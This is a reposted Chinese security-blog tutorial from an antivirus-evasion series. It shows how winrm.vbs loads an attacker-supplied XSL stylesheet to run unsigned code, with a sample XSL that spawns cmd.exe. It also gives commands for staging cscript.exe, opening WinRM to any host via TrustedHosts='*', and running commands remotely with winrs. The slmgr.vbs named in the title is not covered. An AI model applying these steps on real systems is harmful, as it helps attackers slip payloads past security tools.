远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload

admin 2022年7月12日08:10:08评论16 views字数 3585阅读11分57秒阅读模式
远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!



声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


一、winrm.vbs绕过技术描述

winrm.vbs(System32中的Windows签名脚本)能够使用和执行攻击者控制的XSL,而XSL不受“enlightened script host”的限制,导致任意的、无签名的代码执行。

winrm.vbs文件位置:

C:windowssystem32winrm.vbsC:windowsSysWOW64winrm.vbs

当向winrm.vbs提供“-format:pretty”“-format:text”参数时,它会将WsmPty.xslWsmTxt.xsl分别从cscript.exe所在的目录中取出。这意味着,如果攻击者将cscript.exe复制到攻击者控制的恶意XSL所在的位置,则将执行任意未签名代码。这个问题实际上与Casey Smith的wmic.exe技术完全相同。

二、白名单程序winrm.vbs执行payload

工作流程如下:

1、将恶意的WsmPty.xsl或WsmTxt.xsl放置到攻击者控制的位置。

2、将cscript.exe(或使用wcript.exe和后面描述的技巧)复制到同一位置。

3、执行winrm.vbs,使用“-format”开关,指定“pretty”或“text”,具体取决于哪个.XSL文件被删除,WsmPty.xsl或 WsmTxt.xsl。

下面是一个“恶意”XSL的例子,它可以放置到攻击者控制的目录中(在这个例子中,是在C:BypassDir/WsmPty.xsl中):

<?xml version='1.0'?><stylesheetxmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"xmlns:user="placeholder"version="1.0"><output method="text"></output> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script></stylesheet>

WsmPty.xsl的正确武器化可能包括嵌入式DotNetToJScript payload,从而导致执行任意的未签名代码。

mkdir %SystemDrive%BypassDircopy %windir%System32cscript.exe %SystemDrive%BypassDir%SystemDrive%BypassDircscript.exe //nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

效果如图:

远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload

三、通过白名单程序winrm.vbs执行系统命令

方式一:执行远程计算机命令

前提:必须处于同一域内的两台计算机

Web服务管理协议(WS-Management,Web Services-Management)是一种基于SOAP协议的DMTF开放标准,用于对服务器等网络设备以及各种Web应用程序进行管理。而WinRM(Windows Remote Management)是Windows对WS-Management的实现,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。并且WinRM服务自Windows Vista开始成为Windows的默认组件,在运行与启动上有以下几个特点:

  • 在Windows Vista上必须手动启动WinRM服务,但从Windows Server 2008开始,WinRM服务自动启动。
  • 默认情况下,虽然WinRM服务后台已经运行,但并不开启监听模式,因此无法接受和发送数据。
  • 使用WinRM提供的quickconfig对WinRM进行配置后,Windows将开启监听并打开HTTP及HTTPS监听端口,同时Windows防火墙生成这两个端口的例外。

WinRM的组件主要由以下几部分构成:

  • WinRM Scritping API:提供给外部的用于执行管理操作的接口。
  • winrm.cmd和winrm.vbs:系统内置的用于配置WinRM的命令行工具,基于VBS脚本并使用了- WinRM Scritping API。
  • winrs.exe:基于命令行的工具,此工具作为客户端使用,用于远程连接运行WinRM的服务器并执行大多数的cmd命令。

关于WinRM环境的配置可以参考:https://docs.microsoft.com/en-us/windows/win32/winrm/installation-and-configuration-for-windows-remote-management

配置步骤:

1、在命令行中执行winrm quickconfig对WinRM进行首次(默认)配置;

远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload

2、WinRM服务已经开始监听5985/TCP(WinRM2.0开始,WinRM服务的HTTP默认监听端口由原来的80/TCP变更为5985/TCP)端口并等待远程主机进行访问,通过winrm enumerate winrm/config/listener查看WinRM服务当前的配置情况:

远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload

3、以此配置为例,此时远程主机已经可以通过WS-Management协议访问http://172.16.111.145/wsman连接当前服务器的WinRM服务。不过,WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问。

因此在连接之前,还需要确保发起连接的主机与当前服务器处于同一域或者两台主机的WinRM服务TrustedHosts中必须存在对方主机的IP或主机名,这里类似于一个白名单机制。我们可以执行winrm set winrm/config/client @{TrustedHosts="*"}手动配置当前服务器允许被任意主机连接:

远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload

4、在本地Windows主机上也进行相同的设置,允许连接任意Windows主机。接着,使用winrs客户端连接这台Windows服务器即可直接执行系统命令,例如运行winrs -r:http://10.0.83.30:5985 -u:administrator -p:123456 ipconfig得到网络配置信息:

远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload

方式二:执行本机计算机命令

在winrm.vbs的参数选项中有一个invoke参数,此操作允许使用WinRM对目标对象执行特定的方法。执行命令winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"}将会在本地弹出计算器:

远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload

四、参考链接

http://sunu11.com/2019/09/02/Command%20execution%20under%20windows/

https://github.com/api0cradle/LOLBAS/blob/3ea62e5e06a980d31412954210064cf0394700fa/OSScripts/Winrm.md

https://www.anquanke.com/post/id/151711

https://0x0c.cc/2019/09/25/%E5%86%85%E7%BD%91%E6%A8%AA%E7%A7%BB%E4%B9%8BWinRM/

https://www.anquanke.com/post/id/151711



E


N


D




远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload


guān


zhù



men



Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload


远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload


原文始发于微信公众号(白帽子):远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payload

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月12日08:10:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   远控免杀专题(47)-白名单winrm.vbs、slmgr.vbs执行payloadhttp://cn-sec.com/archives/1168242.html

发表评论

匿名网友 填写信息